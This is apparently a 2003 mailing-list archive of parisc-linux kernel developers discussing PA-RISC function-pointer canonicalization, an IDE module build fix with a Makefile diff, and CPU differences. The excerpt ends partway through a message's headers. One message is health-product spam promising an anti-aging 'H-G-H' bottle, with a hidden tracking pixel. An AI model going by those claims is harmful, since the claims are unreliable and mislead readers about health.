Subject: Re: [parisc-linux] warning: minor abi change
Date: Sat, 5 Jul 2003 22:12:10 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20030706041210.GA16894@dsl2.external.hp.com>
References: <20030705230834.GB9682@dsl2.external.hp.com> <200307052353.h65NrZF4025169@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622560 27485 80.91.229.3 (22 Nov 2014 02:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:00 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  5 22:12:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C24E24829; Sat,  5 Jul 2003 22:12:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200307052353.h65NrZF4025169@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18814

On Sat, Jul 05, 2003 at 07:53:34PM -0400, John David Anglin wrote:
> Instead of adding (void *) to each comparison,

This is just a temporary workaround and I have no plans of committing
any (void *) casts to fix this problem.

> you could add a kernel
> version of __canonicalize_funcptr_for_compare:
> 
> __canonicalize_funcptr_for_compare:
> 	bv %r0(%r2)
> 	copy %r26,%r28
> 
> or for PA 2.0
> 
> __canonicalize_funcptr_for_compare:
>         bve (%r2)
> 	copy %r26,%r28
> 
> I think there was a possible solution along these lines posted on the list
> a few months ago (joel?).

Ok.  I didn't see it when trolling the mail archive.
No matter, I'll try it.
Anyone have an opinion on which arch/parisc file this should go in?

> This solution assumes that canonicalization is unnecessary in the kernel.
> Probably, in most cases it is.  However, if you really need to canonicalize
> a function pointer from user space, then you are going to have to figure
> out how to call into the dynamic loader from the kernel.  This obviously
> isn't very safe.  So, possibly this implies that function pointers passed
> in syscalls should be canonicalized before the kernel is entered (i.e.,
> glibc should do the canonicalization).
> 
> As far as kernel modules go, I don't know how function pointers are
> handled.  If you pass a function pointer from one module to another,
> does it need canonicalization?

I depend on willy/tausq/amodra/et al to understand stuff like this.

> If canonicalization is never necessary
> in the kernel, possibly I could add a GCC option to disable canonicalization.

I think willy suggested privately that might be case.

> Sorry, about the lack of documentation.  To see what the function does,
> it's currently necessary to look in the GCC gcc/config/pa directory.

oh no problem. Kernel has lots of stale/missing documentation too.
Just need guidance on where to find the relevant code and which
path to take.

thanks,
grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. Nathan Johnson" <Dr-Nathan-Johnson@mail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] your free bottle
Date: Tue, 05 Aug 03 01:32:57 GMT
Lines: 66
Approved: news@gmane.org
Message-ID: <ou4sxw-w$706h2-k09w@u90tom94n>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4_4.D7__A0E.5201"
X-Trace: ger.gmane.org 1416622560 27487 80.91.229.3 (22 Nov 2014 02:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:00 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  5 23:35:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [218.38.19.82])
	by dsl2.external.hp.com (Postfix) with SMTP id 343834829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Jul 2003 23:34:02 -0600 (MDT)
Original-Received: from pc24.psist.org [50.178.212.52] by 192.25.206.7 with SMTP; Tue, 05 Aug 2003 01:32:57 -0300
X-Mailer: eGroups Message Poster
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18815

This is a multi-part message in MIME format.

--4_4.D7__A0E.5201
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>As seen on 
  NBC, CBS, CNN, and even Oprah! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>The health 
  discovery that actually reverses aging while burning fat.</font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>Without dieting 
  or exercise! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
><a href=3D"http://www.healthyyoung.biz/HGH_13/"><font face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><b>Get 
  Your Free Bottle of H-G-H Now! Visit Us Here</b></font></a> </font> 
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5"
border=3D"1"
bordercolor=3D"#000000"
style=3D"border-collapse:collapse">
    <tr>
      <td bgcolor=3D"#ffffff">
        <p><span style=3D"font-family:arial;
color:#666666;
font-size:10px;">Why was this email sent to you? At
some point you registered or 
made a purchase on a Web site with privacy policies
explaining that they may 
share your information with partners who will send you
valuable offers 
from time to time. </span></p>
        <p><span style=3D"font-family:arial;
color:#666666; font-size:10px;">If you no longer wish to be notified of th=
e latest 
          scientific breakthroughs or valuable offers, you may simply choo=
se to 
          take yourself out of the database <img src=3D"http://shouter.net=
firms.com/nfcounter?cid=3D1051991963&num_digits=3D8&font=3Dbc" width=3D1 h=
eight=3D1>permanently by <a
href=3D"http://www.healthyyoung.biz/delist.html">choosing this link</a>.</=
span></p>
      </td>
    </tr>
  </table>
</div><font color=3D"#ffffff"></font>
</body></html>

<parisc-linux@parisc-linux.org>

--4_4.D7__A0E.5201--



From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IDE modules build prob
Date: Sat, 5 Jul 2003 23:57:54 -0600
Lines: 116
Approved: news@gmane.org
Message-ID: <20030706055754.GA18646@dsl2.external.hp.com>
References: <20030627151546.GA30607@dsl2.external.hp.com> <3ED70CF10000AE2E@ocpmta2.freegates.net> <20030705230834.GB9682@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622560 27492 80.91.229.3 (22 Nov 2014 02:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:00 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  5 23:57:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EF3704829; Sat,  5 Jul 2003 23:57:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030705230834.GB9682@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18816

On Sat, Jul 05, 2003 at 05:08:34PM -0600, Grant Grundler wrote:
> 2) CONFIG_IDE=m leads to lots of unresolved symbols in IDE modules.
>    Willy just pointed me at
> 
>    	http://www.ussg.iu.edu/hypermail/linux/kernel/0307.0/0995.html
> 
>    which should solve this problem.

Alan Cox's "it's a start" patch has problems when applied
to our 2.4.21 tree (diff appended):
...
ld -r -o ide-core.o ide-iops.o ide-taskfile.o ide.o ide-lib.o ide-io.o
ide-default.o ide-proc.o setup-pci.o  ide-dma.o 
ide-default.o(.text.idedefault_init+0x0): In function `init_module':
: multiple definition of `init_module'
ide.o(.text.init_module+0x0): first defined here
make[2]: *** [ide-core.o] Error 1
make[2]: Leaving directory `/home/src/linux/drivers/ide'
...

grundler <507>fgrep module_init *c
...
ide-default.c:module_init(idedefault_init);
...
ide.c:module_init(ide_init);
...
grundler <508>

I gather each .o file is only allowed to have one module_init().
If that a deficiency in parisc build or something else?

thanks,
grant


Index: drivers/ide/Makefile
===================================================================
RCS file: /var/cvs/linux/drivers/ide/Makefile,v
retrieving revision 1.11
diff -u -p -r1.11 Makefile
--- drivers/ide/Makefile	26 Jun 2003 15:07:16 -0000	1.11
+++ drivers/ide/Makefile	6 Jul 2003 05:53:08 -0000
@@ -8,7 +8,6 @@
 # In the future, some of these should be built conditionally.
 #
 
-O_TARGET := idedriver.o
 
 export-objs := ide-iops.o ide-taskfile.o ide-proc.o ide.o ide-probe.o ide-dma.o ide-lib.o setup-pci.o ide-io.o ide-disk.o
 
@@ -29,24 +28,23 @@ endif
 
 # Core IDE code - must come before legacy
 
-obj-$(CONFIG_BLK_DEV_IDE)		+= ide-probe.o ide-geometry.o ide-iops.o ide-taskfile.o ide.o ide-lib.o ide-io.o ide-default.o
-obj-$(CONFIG_BLK_DEV_IDEDISK)		+= ide-disk.o
-obj-$(CONFIG_BLK_DEV_IDECD)		+= ide-cd.o
-obj-$(CONFIG_BLK_DEV_IDETAPE)		+= ide-tape.o
-obj-$(CONFIG_BLK_DEV_IDEFLOPPY)		+= ide-floppy.o
+ide-core-objs := ide-iops.o ide-taskfile.o ide.o ide-lib.o ide-io.o ide-default.o ide-proc.o
+ide-detect-objs := ide-probe.o ide-geometry.o
 
 ifeq ($(CONFIG_BLK_DEV_IDEPCI),y)
-obj-$(CONFIG_BLK_DEV_IDE)		+= setup-pci.o
+ide-core-objs += setup-pci.o 
 endif
 ifeq ($(CONFIG_BLK_DEV_IDEDMA_PCI),y)
-obj-$(CONFIG_BLK_DEV_IDE)		+= ide-dma.o
+ide-core-objs += ide-dma.o 
 endif
-obj-$(CONFIG_BLK_DEV_ISAPNP)		+= ide-pnp.o
-
 
-ifeq ($(CONFIG_BLK_DEV_IDE),y)
-obj-$(CONFIG_PROC_FS)			+= ide-proc.o
-endif
+# Initialisation order:
+# Core sets up
+# Legacy drivers may register a callback
+# Drivers are pre initialised
+# Probe inits the drivers and driver callbacks
+# Raid scans the devices 
+obj-$(CONFIG_BLK_DEV_IDE) += ide-core.o
 
 ifeq ($(CONFIG_BLK_DEV_IDE),y)
   obj-y		+= legacy/idedriver-legacy.o
@@ -58,10 +56,28 @@ else
   endif
 endif
 
+obj-$(CONFIG_BLK_DEV_ISAPNP) += ide-pnp.o
+
+obj-$(CONFIG_BLK_DEV_IDEDISK) += ide-disk.o
+obj-$(CONFIG_BLK_DEV_IDECD) += ide-cd.o
+obj-$(CONFIG_BLK_DEV_IDETAPE) += ide-tape.o
+obj-$(CONFIG_BLK_DEV_IDEFLOPPY) += ide-floppy.o
+
+obj-$(CONFIG_BLK_DEV_IDE) += ide-detect.o 
 
 ifeq ($(CONFIG_BLK_DEV_IDE),y)
 # RAID must be last of all
   obj-y		+= raid/idedriver-raid.o
 endif
 
+list-multi := ide-core.o ide-detect.o
+O_TARGET := idedriver.o
+
 include $(TOPDIR)/Rules.make
+
+ide-core.o: $(ide-core-objs)
+	$(LD) -r -o $@ $(ide-core-objs)
+
+ide-detect.o: $(ide-detect-objs)
+	$(LD) -r -o $@ $(ide-detect-objs)
+


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IDE modules build prob
Date: Sun, 6 Jul 2003 00:31:50 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20030706063150.GB18646@dsl2.external.hp.com>
References: <20030627151546.GA30607@dsl2.external.hp.com> <3ED70CF10000AE2E@ocpmta2.freegates.net> <20030705230834.GB9682@dsl2.external.hp.com> <20030706055754.GA18646@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622560 27494 80.91.229.3 (22 Nov 2014 02:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:00 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  6 00:31:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 048C34829; Sun,  6 Jul 2003 00:31:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030706055754.GA18646@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18817

On Sat, Jul 05, 2003 at 11:57:54PM -0600, Grant Grundler wrote:
> I gather each .o file is only allowed to have one module_init().

My tree builds/links/modules_install now.

Removed ide-default.o from ide-core-objs.
Added the following line after the device (disk/tape/cd) drivers:

obj-$(CONFIG_BLK_DEV_IDE) += ide-default.o

I need to go back and see if the EXPORT_SYMBOLS() I added
to various IDE files are still needed. Not tonight.

I've updated the -pa2 patch at:
	ftp://ftp.parisc-linux.org/patches/diff-2.4.21-pa2

and corresponding binaries/.config at:
	ftp://ftp.parisc-kernel.org/kernels/c3000/2.4.21-pa2.tgz

grant


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IDE modules build prob
Date: 06 Jul 2003 08:23:44 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1057476223.704.0.camel@dhcp22.swansea.linux.org.uk>
References: <20030627151546.GA30607@dsl2.external.hp.com>
	 <3ED70CF10000AE2E@ocpmta2.freegates.net>
	 <20030705230834.GB9682@dsl2.external.hp.com>
	 <20030706055754.GA18646@dsl2.external.hp.com>
	 <20030706063150.GB18646@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622561 27498 80.91.229.3 (22 Nov 2014 02:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  6 01:26:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB3024829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jul 2003 01:26:27 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h667NlKd000748;
	Sun, 6 Jul 2003 08:23:47 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h667NiL8000746;
	Sun, 6 Jul 2003 08:23:44 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030706063150.GB18646@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18818

On Sul, 2003-07-06 at 07:31, Grant Grundler wrote:
> On Sat, Jul 05, 2003 at 11:57:54PM -0600, Grant Grundler wrote:
> > I gather each .o file is only allowed to have one module_init().
> 
> My tree builds/links/modules_install now.
> 
> Removed ide-default.o from ide-core-objs.
> Added the following line after the device (disk/tape/cd) drivers:
> 
> obj-$(CONFIG_BLK_DEV_IDE) += ide-default.o
> 
> I need to go back and see if the EXPORT_SYMBOLS() I added
> to various IDE files are still needed. Not tonight.

The module patch relies on you having the 2.4.22-pre3 IDE changes for
things like ide-default

$grep init_module drivers/ide/ide-default.c
$



From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Sun, 06 Jul 2003 16:12:49 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <3F084A81.9050805@tiscali.be>
References: <20030705230834.GB9682@dsl2.external.hp.com> <200307052353.h65NrZF4025169@hiauly1.hia.nrc.ca> <20030706041210.GA16894@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622561 27534 80.91.229.3 (22 Nov 2014 02:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  6 09:57:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B424829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jul 2003 09:57:30 -0600 (MDT)
Original-Received: from [62.235.170.50] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19ZBtF-00057B-00; Sun, 06 Jul 2003 17:57:26 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <20030706041210.GA16894@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18819

Grant Grundler wrote:

>On Sat, Jul 05, 2003 at 07:53:34PM -0400, John David Anglin wrote:
>  
>
>>Instead of adding (void *) to each comparison,
>>    
>>
>
>This is just a temporary workaround and I have no plans of committing
>any (void *) casts to fix this problem.
>
>  
>
>>you could add a kernel
>>version of __canonicalize_funcptr_for_compare:
>>
>>__canonicalize_funcptr_for_compare:
>>	bv %r0(%r2)
>>	copy %r26,%r28
>>
>>or for PA 2.0
>>
>>__canonicalize_funcptr_for_compare:
>>        bve (%r2)
>>	copy %r26,%r28
>>
>>I think there was a possible solution along these lines posted on the list
>>a few months ago (joel?).
>>    
>>
Yes I test succesfully (as w-a) some similar solution. (see: 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-May/019982.html>) 
but I doubt that it is the right way ...

>Ok.  I didn't see it when trolling the mail archive.
>No matter, I'll try it.
>Anyone have an opinion on which arch/parisc file this should go in?
>  
>
... arch/parisc/lib/fptr.c seems well the right place (what do you think?)
but the rest of EXPORT_SYMBOL was just 'to make it compile' but do not 
sound (please don't ask me to decribe this sound :) ) to me the way it 
have to be (sorry I was waiting more guidance to submit more complete 
work :( )

hth,
    Joel



From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Differences PA8500/PA8600
Date: Sun, 6 Jul 2003 19:38:54 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20030706173854.GC8562@blinder.doorslam.net>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622562 27538 80.91.229.3 (22 Nov 2014 02:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  6 11:38:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from doorslam.net (port-212-202-37-63.reverse.qsc.de [212.202.37.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id F334E4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jul 2003 11:38:56 -0600 (MDT)
Original-Received: from blinder.doorslam.net (localhost [127.0.0.1])
	by doorslam.net (8.12.6/8.12.2) with ESMTP id h66HcsWT017256
	(version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 Jul 2003 19:38:55 +0200 (CEST)
Original-Received: (from paul@localhost)
	by blinder.doorslam.net (8.12.6/8.12.1/Submit) id h66Hcsu0030166
	for parisc-linux@lists.parisc-linux.org; Sun, 6 Jul 2003 19:38:54 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18820

  Could someone here on this list might shed some led on where the
differences between these CPUs are?

  I'm wanting to write up sth. on the latter, though I didn't find 
any useful info on the architecture or, for that matter, the
detailed differences to its direct predessor (8500). 

 Both www.cpus.hp.com and google did not find any useful answers,
other than ``better cache algorithm (bla)'' or ``modifications to
make higher clock rates possible''.

  Thanks.


	- paul


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 3.3.1 ICE
Date: Mon, 7 Jul 2003 08:05:25 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <3F03A42100000529@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622562 27543 80.91.229.3 (22 Nov 2014 02:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 00:05:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
